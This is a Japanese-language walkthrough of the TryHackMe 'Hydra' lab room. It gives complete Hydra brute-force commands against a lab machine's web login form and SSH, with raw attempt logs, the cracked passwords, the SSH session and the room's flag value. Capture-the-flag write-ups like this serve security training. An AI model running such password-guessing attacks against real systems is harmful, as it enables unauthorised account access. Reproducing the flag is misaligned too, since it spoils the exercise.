今回は、Hydraというツールを利用して、ブルートフォース攻撃やパスワードリスト攻撃をやってみます。
「TryHackMe-Nmap:https://tryhackme.com/room/hydra」
Hydraのインストール
まずは、Hydraのインストールからになりますが、Kali Linuxを使用している場合は、デフォルトでインストールされています。
今回は、Kali Linuxを利用していますので、インストール手順は省きますが、必要な方は「https://github.com/vanhauser-thc/thc-hydra」からダウンロードしてください。
Using Hydra(Hydraを使用)
インストールができたら、実際にHydraを試してTryHackMeの問題に解答していきます。
事前準備
まずは、ターゲットマシンを起動していきます。
下記の「スタートマシン」を選択して、数分待ちましょう。
こんな感じでマシンが起動できていれば、OKです。
WEBサイトでの総当たり攻撃(Use Hydra to bruteforce molly’s web password. What is flag 1?)
WEBサイトへ総当たり攻撃をやってみます。
その前に、POSTのログインフォーマットをブルートフォース攻撃するためのコマンドを確認しておきましょう。
hydra -l [username] -P [passwordlist] [IP/DOMAIN] http-post-form "[endpoint]:[form]:F=[failed message]"
各パラメータを簡単に確認しておきます。
- -l:ユーザー名
- -L:ユーザー名リスト
小文字の場合は、単一ユーザー名でブルートフォース攻撃を実行する。
大文字の場合は、ユーザー名リストを利用してブルートフォース攻撃を実行する。
- -p:パスワード
- -P:パスワードリスト
小文字の場合は、単一パスワードでブルートフォース攻撃を実行する。
大文字の場合は、パスワードリストを利用してブルートフォース攻撃を実行する。
- IP/DMAIN
ターゲットのIPやドメインを指定する。
今回の場合だと、事前準備で起動したターゲットマシンのIPアドレスに該当する。
- endpoint
ログイン画面のURLを指定する。
例えば、http://10.10.237.126/loginの場合は、「/login」が該当する
- form
リクエストフォームを指定する。
ユーザー名は、「^USER^」に置き換える。
パスワードは、「^PASS^」に置き換える。
例えば、username=^USER^&password=^PASS^になる。
JSONなどの場合もあるので、注意する。
- failed message
ログインに失敗した場合のメッセージを指定する。
上記をもとに、Hydraコマンドを作成しましょう。
まずはターゲットマシンを起動できていれば、下記のログイン画面に遷移できると思います。
UsernameとPasswordにadmin/adminでリクエストを送ってみましょう。
ハイライトを入れている部分が、今回必要な情報です。
パスワードリストには、rockyou.txtを利用します。rockyou.txtは、Kali Linuxだと標準でインストールされているので、それを指定してください。
問題から、ユーザー名は「molly」として実行します。
-Vオプションをつけておいて、実行状況も見ておきましょう。
hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.237.126 http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect" -V
実行結果は、下記になりました。
$ hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.237.126 http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect" -V
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://10.10.237.126:80/login:username=^USER^&password=^PASS^:F=Your username or password is incorrect.
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "123456" - 1 of 14344399 [child 0] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "12345" - 2 of 14344399 [child 1] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "123456789" - 3 of 14344399 [child 2] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "password" - 4 of 14344399 [child 3] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "iloveyou" - 5 of 14344399 [child 4] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "princess" - 6 of 14344399 [child 5] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "1234567" - 7 of 14344399 [child 6] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "rockyou" - 8 of 14344399 [child 7] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "12345678" - 9 of 14344399 [child 8] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "abc123" - 10 of 14344399 [child 9] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "nicole" - 11 of 14344399 [child 10] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "daniel" - 12 of 14344399 [child 11] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "babygirl" - 13 of 14344399 [child 12] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "monkey" - 14 of 14344399 [child 13] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "lovely" - 15 of 14344399 [child 14] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "jessica" - 16 of 14344399 [child 15] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "654321" - 17 of 14344399 [child 5] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "michael" - 18 of 14344399 [child 0] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "ashley" - 19 of 14344399 [child 1] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "qwerty" - 20 of 14344399 [child 2] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "111111" - 21 of 14344399 [child 3] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "iloveu" - 22 of 14344399 [child 4] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "000000" - 23 of 14344399 [child 9] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "michelle" - 24 of 14344399 [child 10] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "tigger" - 25 of 14344399 [child 15] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "sunshine" - 26 of 14344399 [child 6] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "chocolate" - 27 of 14344399 [child 11] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "password1" - 28 of 14344399 [child 12] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "soccer" - 29 of 14344399 [child 13] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "anthony" - 30 of 14344399 [child 14] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "friends" - 31 of 14344399 [child 7] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "butterfly" - 32 of 14344399 [child 8] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "purple" - 33 of 14344399 [child 2] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "angel" - 34 of 14344399 [child 3] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "jordan" - 35 of 14344399 [child 9] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "liverpool" - 36 of 14344399 [child 15] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "justin" - 37 of 14344399 [child 5] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "loveme" - 38 of 14344399 [child 0] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "fuckyou" - 39 of 14344399 [child 11] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "123123" - 40 of 14344399 [child 12] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "football" - 41 of 14344399 [child 13] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "secret" - 42 of 14344399 [child 14] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "andrea" - 43 of 14344399 [child 1] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "carlos" - 44 of 14344399 [child 10] (0/0)
[80][http-post-form] host: 10.10.237.126 login: molly password: sunshine
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-02-26 00:47:48
これで、パスワードが「sunshine」であることがわかりました。
無事ログインできれば、フラグ1が見つかります。
SSHパスワードの総当たり攻撃(Use Hydra to bruteforce molly’s SSH password. What is flag 2?)
続いては、SSHパスワードを総当たり攻撃してみます。
その前に、SSHをブルートフォース攻撃するためのコマンドを確認しておきましょう。
hydra -l [username] -P [passwordlist] [IP/DOMAIN] ssh
WEBサイトのログインフォームをブルートフォース攻撃するよりも、シンプルですね。
オプションも、基本的には先ほどのものと同じです。
- -l:ユーザー名
- -L:ユーザー名リスト
小文字の場合は、単一ユーザー名でブルートフォース攻撃を実行する。
大文字の場合は、ユーザー名リストを利用してブルートフォース攻撃を実行する。
- -p:パスワード
- -P:パスワードリスト
小文字の場合は、単一パスワードでブルートフォース攻撃を実行する。
大文字の場合は、パスワードリストを利用してブルートフォース攻撃を実行する。
- IP/DMAIN
ターゲットのIPやドメインを指定する。
今回の場合だと、事前準備で起動したターゲットマシンのIPアドレスに該当する。
では、今回実行するコマンドを作成していきます。
-tは、スレッド数を指定します。今回はサンプルに合わせて4スレッドで実行してみます。
hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.237.126 -t 4 ssh
実行結果は、下記になりました。
$ hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.237.126 -t 4 ssh
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-02-26 01:02:30
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://10.10.237.126:22/
[22][ssh] host: 10.10.237.126 login: molly password: butterfly
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-02-26 01:03:25
パスワードは、「butterfly」ですね。ssh接続してみましょう。
無事接続できれば、下記のようになるはずです。
$ ssh molly@10.10.237.126
molly@10.10.237.126's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-1092-aws x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
65 packages can be updated.
32 updates are security updates.
Last login: Sat Feb 25 16:13:44 2023 from 10.18.110.90
molly@ip-10-10-237-126:~$
最後にフラグの確認ですね。
ホームディレクトリに、flag2.txtがありました。
molly@ip-10-10-237-126:~$ ll
total 36
drwxr-xr-x 3 molly molly 4096 Dec 17 2019 ./
drwxr-xr-x 4 root root 4096 Dec 17 2019 ../
-rw------- 1 molly molly 42 Dec 17 2019 .bash_history
-rw-r--r-- 1 molly molly 220 Dec 17 2019 .bash_logout
-rw-r--r-- 1 molly molly 3771 Dec 17 2019 .bashrc
drwx------ 2 molly molly 4096 Dec 17 2019 .cache/
-rw-rw-r-- 1 molly molly 38 Dec 17 2019 flag2.txt
-rw-r--r-- 1 molly molly 655 Dec 17 2019 .profile
-rw------- 1 molly molly 604 Dec 17 2019 .viminfo
無事、フラグの取得ができましたね。
molly@ip-10-10-237-126:~$ cat flag2.txt
THM{c8eeb0468febbadea859baeb33b2541b}
まとめ
今回は、Hydraというツールを利用して、ブルートフォース攻撃やパスワードリスト攻撃をやってみました。
パスワードクラッキングが一番わかりやすくてたのしいですね!!
参考文献・サイト
Midium:https://ratiros01.medium.com/tryhackme-hydra-b5308cf47c96